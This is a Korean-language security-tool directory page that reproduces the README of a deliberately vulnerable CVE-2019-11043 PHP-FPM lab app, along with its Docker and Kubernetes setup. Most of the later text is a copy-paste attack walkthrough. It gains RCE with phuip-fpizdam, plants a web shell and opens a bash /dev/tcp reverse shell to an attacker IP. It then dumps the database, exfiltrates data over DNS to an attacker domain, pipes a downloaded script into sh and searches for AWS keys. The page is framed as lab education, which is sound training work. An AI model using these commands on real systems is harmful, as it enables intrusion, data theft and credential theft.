Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ctf-cve-2019-11043 | Kitploit
도구/GitHubGitHub/a1ex-var1amov/ctf-cve-2019-11043
Privilege EscalationContainer SecurityVulnerability AnalysisWeb Application ExploitationData ExfiltrationPost-ExploitationCTFCloud SecurityLearning & EducationDatabase SecurityLabs & Practice
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
a1ex-var1amov/ctf-cve-2019-11043

ctf-cve-2019-11043

저장소 보기

작업 관리 앱 (CVE-2019-11043 랩)

CVE-2019-11043을 재현하기 위해 의도적으로 취약하게 구성된 Nginx/PHP-FPM 환경을 갖춘 최소 PHP 앱입니다. 간단한 작업 관리자, 로그인/관리자, DB 구성 UI를 포함합니다.

빌드 및 실행 (Docker)

root@kitploit:~
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

익스플로잇 빠른 시작

status.php를 대상으로 phuip-fpizdam을 실행하여 파라미터를 감지하게 한 다음, --skip-detect와 함께 다시 실행하세요.

root@kitploit:~
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

데이터베이스 지원

이 앱은 자동 감지 기능과 함께 SQLite와 MySQL을 모두 지원합니다:

SQLite (기본값)

  • DSN: sqlite:/var/www/html/data/app.sqlite
  • 인증 불필요
  • 자동 설정 - 첫 실행 시 데이터베이스 파일 생성
  • 개발 및 테스트에 적합

MySQL (선택 사항)

  • DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
  • 사용자 이름/비밀번호 인증 필요
  • 환경 변수 오버라이드 - Kubernetes 배포용

환경 변수

이 환경 변수들이 설정되면 DSN을 자동으로 재정의합니다:

  • DB_HOST - 데이터베이스 호스트 이름
  • DB_PORT - 데이터베이스 포트 (기본값: 3306)
  • DB_NAME - 데이터베이스 이름
  • DB_USER - 데이터베이스 사용자 이름
  • DB_PASS - 데이터베이스 비밀번호

자동 마이그레이션

  • 앱은 요청 시 마이그레이션을 실행합니다 (예: index.php, login.php, admin.php).
  • K8s 프로브는 /health.php에 접근하며, 이는 DB 연결도 확인합니다.
  • 외부 마이그레이션 작업이나 로컬 PHP가 필요하지 않습니다.

Kubernetes (EKS) 배포

매니페스트는 k8s/ 아래에 있습니다:

  • k8s/secret.yaml: MySQL 자격 증명 (stringData 플레이스홀더)
  • k8s/mysql-deployment.yaml: MySQL 디플로이먼트 + 서비스
  • k8s/app-deployment.yaml: 앱 디플로이먼트 (privileged) + 서비스; 시크릿을 마운트하고 DB 환경 변수를 설정합니다
  • k8s/ingress.yaml: 앱으로 라우팅하는 Nginx 인그레스

이미지 플레이스홀더는 quay.io를 사용합니다 – quay.io/your-org/cve-2019-11043-lab:app을 본인 저장소로 변경하세요.

적용 순서:

root@kitploit:~
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

인그레스는 Nginx Ingress Controller와 해당 주소를 가리키는 taskapp.local DNS/hosts 항목을 전제로 합니다.

프로젝트 구조

  • public/: 웹 루트 (진입점)
  • app/: 앱 헬퍼 (config, db, auth, version)
  • php/: PHP-FPM ini 오버라이드
  • k8s/: Kubernetes 매니페스트
  • data/: 런타임 데이터 (SQLite db, config)

기본 관리자

/login.php에서 admin / admin으로 로그인하세요 (UI 힌트는 CSS로 숨겨져 있습니다).

데이터베이스 구성 UI

관리자로 /db_config.php에 접근하여:

  • 현재 데이터베이스 상태 및 유형 확인
  • SQLite와 MySQL 간 전환
  • 연결 파라미터 구성
  • 두 데이터베이스 유형에 대한 연결 예시 확인

면책 조항

이 환경은 의도적으로 취약하게 설계되었습니다. 신뢰할 수 없는 네트워크에 노출하지 마세요.

멀티 플랫폼 이미지 빌드 (Buildx)

멀티 아키텍처 이미지(linux/amd64, linux/arm64)를 빌드하고 quay.io에 푸시합니다.

전제 조건: Docker Buildx (Docker Desktop에 포함되어 있음). 선택적 QEMU 에뮬레이션: docker run --privileged --rm tonistiigi/binfmt --install all.

root@kitploit:~
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

phuip-fpizdam을 이용한 엔드투엔드 (복사/붙여넣기)

대상 설정:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

익스플로잇 (자동 감지 후 최종 실행):

root@kitploit:~
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

작은 웹 셸을 배치하고 명령 실행을 확인합니다:

root@kitploit:~
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

아래의 포스트 익스플로잇 랩 실습에서 리버스 셸, MySQL 덤프, DNS TXT 유출, linPEAS, AWS 키 검색을 계속 진행하세요.

포스트 익스플로잇 랩 실습 (이 랩 전용)

이 단계들은 이 랩 환경에서의 교육 목적으로만 사용됩니다.

기본 URL과 공격자 IP를 설정하세요:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) 명령 실행 확보 및 간단한 웹 셸 배치

phuip-fpizdam으로 CVE-2019-11043을 익스플로잇한 후, RCE 프리미티브를 사용하여 작은 웹 셸을 작성하세요. 이미 컨테이너 내부에 셸이 있다면 다음을 실행하세요:

root@kitploit:~
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

RCE만 있고 셸이 없다면 RCE 프리미티브(예: 익스플로잇 도구를 통해)로 동일한 base64 쓰기를 실행하세요.

검증:

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

2) whoami

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

3) 리버스 셸 시도 (bash /dev/tcp)

공격자 호스트에서:

root@kitploit:~
nc -lvnp "$ATTACKER_PORT"

대상에서 트리거 (URL 인코딩된 명령):

root@kitploit:~
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

bash를 사용할 수 없으면 다음을 시도하세요:

root@kitploit:~
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) MySQL 백업 (덤프)

옵션 A (클러스터 운영자 경로):

root@kitploit:~
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

옵션 B (PHP PDO를 사용하는 웹 셸 경유): 앱 구성을 사용하는 빠른 덤퍼 스크립트를 작성합니다:

root@kitploit:~
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) DNS TXT를 통한 유출 (간단한 예시)

제어하는 테스트 도메인(예: exf.attacker.tld)을 캡처할 네임서버(예: dnschef 또는 bind)에 지정하세요. 그런 다음 대상에서 청크를 담은 DNS 조회를 트리거합니다:

root@kitploit:~
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

네임서버에서 쿼리를 관찰하고, 라벨로부터 재구성하세요.

6) linPEAS 다운로드 및 실행 (권한 상승 열거)

root@kitploit:~
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) AWS 키 검색

root@kitploit:~
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

다시 말하지만: 이 실습은 이 랩 내에서만 수행하세요. 소유하지 않았거나 명시적 평가 허가를 받지 않은 시스템을 테스트하지 마세요.

도구 다운로드